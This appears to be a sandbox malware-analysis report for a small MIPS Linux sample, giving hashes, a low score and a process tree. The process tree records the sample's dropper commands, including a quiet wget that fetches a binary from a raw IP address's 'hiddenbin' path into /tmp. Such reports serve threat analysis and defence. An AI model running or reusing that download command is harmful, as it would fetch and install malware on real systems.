80fbcb6bc5e4b79b90b40128f8ed1b5eb3ae5539422a93967204069d08839a8d

Analysis

max time kernel
131s
max time network
148s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
10/09/2026, 18:01

Target
jaffacakes118_80fbcb6bc5e4b79b90b40128f8ed1b5eb3ae5539422a93967204069d08839a8d.bin
Size 450B
Sample260910-wmamgawvb1
SHA256 80fbcb6bc5e4b79b90b40128f8ed1b5eb3ae5539422a93967204069d08839a8d
MD5 99266aa7de53bf6db6100ca2fe0f130a
SHA1 4264c881b0e25feb00bead6dc5bd50141577b900
SHA512 273bd8516ed2286a6393ae6e503debcfe1b55b7fb80ec0b8e84a212fe722fbe94e59ad603d306875caadcd64998dc6aecdd891da7c16906650e9ae9850b96d32
TLSH
T184F0ED83C331436964B9A58CF77A60849332992798207E7CFCA1B94022782D8FCFC650
MD5 SHA1 SHA512 TLSH

Score

3^/10

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/colonna.arc	wget

/tmp/jaffacakes118_80fbcb6bc5e4b79b90b40128f8ed1b5eb3ae5539422a93967204069d08839a8d.bin
/tmp/jaffacakes118_80fbcb6bc5e4b79b90b40128f8ed1b5eb3ae5539422a93967204069d08839a8d.bin
1⤵
PID:727
- /bin/rm
  rm colonna.arc
  2⤵
  PID:729
- /usr/bin/wget
  wget -q http://194.69.203.32:81/hiddenbin/colonna.arc -O colonna.arc
  2⤵
  - Writes file to tmp directory
  PID:732